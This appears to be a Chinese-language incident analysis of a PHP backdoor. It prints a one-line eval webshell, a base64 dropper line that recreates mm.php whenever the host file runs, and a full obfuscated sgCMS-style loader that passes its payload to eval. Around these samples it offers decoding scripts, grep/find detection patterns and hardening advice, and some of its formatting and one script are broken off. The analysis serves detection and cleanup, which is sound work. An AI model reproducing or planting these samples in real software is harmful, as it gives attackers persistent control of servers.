客戶服務器反復出現 mm.php 一句話木馬:
<?eval($_POST['c']);?>
排查發現某文件首行植入如下隱形後門代碼:
fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4="));
| Base64 編碼 | 解碼結果 | 說明 |
|---|---|---|
bW0ucGhw | mm.php | 目標文件名 |
PD9ldmFsKCRfUE9TVFtjXSk7Pz4= | <?eval($_POST['c']);?> | 一句話木馬代碼 |
攻擊鏈:只要包含此行代碼的文件被訪問(如被 include、require 或直接請求),即會自動寫入/覆蓋 mm.php。刪除木馬文件無效,因後門代碼持久化在正常業務文件中。
PD9ldmFs // base64_encode("
排查命令:
# 查找可疑 Base64 模式
grep -rn "base64_decode.*PD9ldmFs\|base64_decode.*ZXZhbA" /var/www/html --include="*.php"
# 查找 fputs+fopen+base64_decode 組合
grep -rn "fputs.*fopen.*base64_decode" /var/www/html --include="*.php"
<?php // Code By isosky www.nbst.org
$OOO0O0O00=__FILE__;
$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');
$OO00O0000=12308;
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};
$O0O0000O0='OOO0000O0';
eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTY1KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ05TWGZZT0cvUXExeWF1ak00VzlFeDh0bEk3b0FIVmR3NWhEQ3oyQjBuc3ZQcFptS2diUjNKVUxlaytyNmNUaUY9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
th6sbehqla4co_sadfpnr (urldecode 後) 按固定下標提取字符組成解密函數名 OOO0000O0 (即 base64_decode)$$O0O0000O0 即 $base64_decode,繞過靜態分析strtr) 替換後再 base64_decode,最後 eval 執行return 提前結束,混淆變量名、無縮進、超長行<?php
/**
* ThinkPHP / sgCMS 類加密文件自動解密工具
* 原理:模擬密鑰構造過程,提取並還原核心 Payload
*/
function decryptThinkPHP($filePath) {
$content = file_get_contents($filePath);
if (!$content) return false;
// 1. 提取關鍵變量賦值行(前 3 行通常包含核心邏輯)
$lines = explode("\n", $content);
if (count($lines) < 3) return false;
// 2. 解析密鑰字符串構造
// $OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');
if (!preg_match("/\\$[A-Z0-9]+=urldecode\\(['\"]([^'\"]+)['\"]\\)/", $lines[1], $m)) return false;
$keyString = urldecode($m[1]); // th6sbehqla4co_sadfpnr
// 3. 重現解密函數名構造邏輯(固定下標)
$funcName =
$keyString[4] . $keyString[9] . $keyString[3] . $keyString[5] .
$keyString[2] . $keyString[10] . $keyString[13] . $keyString[16] .
$keyString[3] . $keyString[11] . $keyString[12] . $keyString[7] . $keyString[5];
// 結果: base64_decode
// 4. 提取 eval 參數中的 Base64 Payload
// eval(($$O0O0000O0('...长Base64...')));
if (!preg_match("/eval\\(\\s*\\$\\$[A-Z0-9]+\\(['\"]([^'\"]+)['\"]\\)\\)/", $content, $m)) return false;
$payload = $m[1];
// 5. 解碼:先 strtr 映射表還原,再 base64_decode
// 映射表在 Payload 解碼後的代碼中,這裡需從已知樣本提取或動態分析
// 通用做法:嘗試常見映射表或動態執行前半段獲取映射表
// 簡化版:直接 base64_decode 嘗試(部分變體無 strtr)
$decoded = @base64_decode($payload);
if ($decoded !== false && strpos($decoded, '
針對市面常見 PHP 加密(Zend Guard, ionCube, SourceGuardian, 自定義 Base64+strtr 等),推薦工具鏈:
| 工具 | 適用場景 | 特點 |
|---|---|---|
| php-deobfuscator | 通用 Base64/eval/gzinflate 多層混淆 | 開源、可擴展、支持自定義解碼器 |
| dephp | Zend Guard 5/6/7, ionCube 10+ | 商業級、支持最新版本、需授權 |
| unphp.net | 在線解密常見混淆 | 免費、上傳文件即得、隱私風險 |
| PHP-Unobfuscator (VLD) | 動態分析 OPCODE 還原邏輯 | 需編譯 VLD 擴展、技術門檻高 |
| 自定義腳本 | 特定框架/CMS 加密 (如 sgCMS) | 針對性強、需逆向分析具體算法 |
<?php
/**
* sgCMS 加密文件解密器
* 原理:提取映射表鍵值,還原 strtr 映射,base64_decode 獲取源碼
*/
$filename = "GlobalAction.class.php"; // 待解密文件
$lines = file($filename);
if (count($lines) < 3) die("文件格式不符");
// 1. 獲取第一層 Base64 (第 2 行)
if (!preg_match("/O0O0000O0\\('([^']+)'\\)/", $lines[1], $m)) die("未找到第一層 Base64");
$layer1 = base64_decode($m[1]);
// 2. 從第一層解碼內容提取映射表鍵和長度
// 模式: ),'映射表字符串',
if (!preg_match("/\\),'([^']+)',/", $layer1, $m)) die("未找到映射表");
$decodeKey = $m[1];
// 模式: ,數字),
if (!preg_match("/,(\\d+)\\)/", $layer1, $m)) die("未找到長度參數");
$strLength = (int)$m[1];
// 3. 截取第二層加密內容 (第 3 行從 $strLength 開始)
$secret = substr($lines[2], $strLength);
// 4. 還原映射表並解碼
$standardBase64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$decoded = base64_decode(strtr($secret, $decodeKey, $standardBase64));
// 5. 輸出結果
echo "<?php\n" . $decoded . "\n?>";
解密得到的通常是功能完整的 Webshell/管理後門,如「HakeTeam Website Backup Shell」:
核心危害:攻擊者獲得服務器完全控制權,可橫向移動、數據竊取、勒索加密、挖礦等。
# 查找所有可疑文件
find /var/www -name "*.php" -exec grep -l "eval.*base64_decode\|str_rot13\|gzinflate\|preg_replace.*\/e" {} \\;
# 查找近期修改文件
find /var/www -name "*.php" -mtime -7 -ls
readOnlyRootFilesystem: true、掛載 noexec,nosuid)eval, assert, system, fsockopen 等),上下文感知攔截composer verify)composer audit 掃描已知漏洞隱形後門通過 base64_decode + eval 動態生成惡意文件,框架加密則利用自定義映射表對抗靜態分析。核心應對策略:
base64_decode + eval, strtr 映射表模式)安全是系統工程,單點防禦終將被繞過。將「不可變基礎設施」與「運行時行為分析」結合,構建主動免疫體系,才是現代 PHP 應用安全的正確航向。